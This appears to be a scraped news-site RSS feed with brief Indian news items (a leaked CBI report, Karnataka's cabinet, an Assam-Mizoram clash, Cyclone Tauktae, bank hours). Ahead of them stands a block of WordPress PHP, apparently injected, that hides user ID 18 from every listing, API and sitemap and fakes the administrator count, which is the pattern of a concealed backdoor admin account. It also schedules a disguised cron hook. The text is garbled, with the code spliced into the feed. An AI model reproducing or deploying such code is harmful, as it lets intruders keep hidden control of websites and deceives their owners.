add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The Central agency has now claimed that the report was leaked after a bribe was paid and it has registered a criminal case in this regard, NCP leader and Maharashtra minority affairs minister Nawab Malik told reporters.
But the Central Bureau of Investigation is not stating that the report itself was fake, he said.
“To save its face, it is saying that the report had been managed,” Mr Malik alleged.
The post Leaked CBI Report Giving Ex-Maharashtra Minister Clean Chit Is Genuine: NCP appeared first on The Edge Media.
]]>The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The keenly-awaited cabinet expansion comes a week after Bommai took charge as the chief minister of the state, following the resignation of Yediyurappa.
Bommai had earlier said he will not have any deputy chief ministers in his cabinet as per the directions of the high command. Yediyurappa’s younger son and state BJP vice president B Y Vijayendra was not included in the cabinet.
State governor Thaawar Chand Gehlot administered the oath of office to the new ministers at the Raj Bhavan in Bengaluru.
Bommai’s team is a mixture of senior and fresh faces.
The post 29 ministers sworn in Karnataka CM Basavaraj Bommai’s cabinet. appeared first on The Edge Media.
]]>The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>During this period, the national flag will fly at half-mast and there will be no public entertainment, the order issued by the General Administration Department said.
At least six persons were killed and 60 others, including an SP, injured in a bloody clash along the Assam-Mizoram border on Monday.
Union Home Minister Amit Shah has spoken to the chief ministers of Assam and Mizoram, Himanta Biswa Sarma and Zoramthanga respectively, and urged them to ensure peace along the disputed border and find an amicable settlement.
Sarma paid floral tributes to the five slain policemen at Silchar on Tuesday.
The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>The post Cyclone Tauktae stops the COVID vaccination drive in Gujarat appeared first on The Edge Media.
]]>In the meantime, Cyclone Tauktae killed atleast seven people in Gujarat. It has left behind an aftermath of destruction along the coast. It uprooted the electric poles and tress and damaged several houses and roads.
The cyclone has now weakened into a “cyclonic storm” and will slowly become just a “deep depression”. The cyclone has caused heavy rainfall in various parts of the states. The rainfall has caused water logging in Ahmedabad.
The post Cyclone Tauktae stops the COVID vaccination drive in Gujarat appeared first on The Edge Media.
]]>The post Necessary work to be done in time, now only 4 hours banks will open appeared first on The Edge Media.
]]>This decision has been taken in view of the upsurge in covid cases in the State Level Bankers Committee (SLBC) meeting through video conferencing on Wednesday.
SLBC officials said that from Thursday, banks will open only 4 hours for customers in the state. However, the employees will continue to do internal works till 4 pm.
United Forum of Banks Union spokesperson Anil Tiwari said, “This decision has been taken to protect the bank employees. Only 50 percent of the employees will work on rotation basis. New rules will be implemented in all public and private banks from Thursday.”
” Also, it has been said that after assessing the status of covid in the state, the decision can be extended from May 15 onwards.
The post Necessary work to be done in time, now only 4 hours banks will open appeared first on The Edge Media.
]]>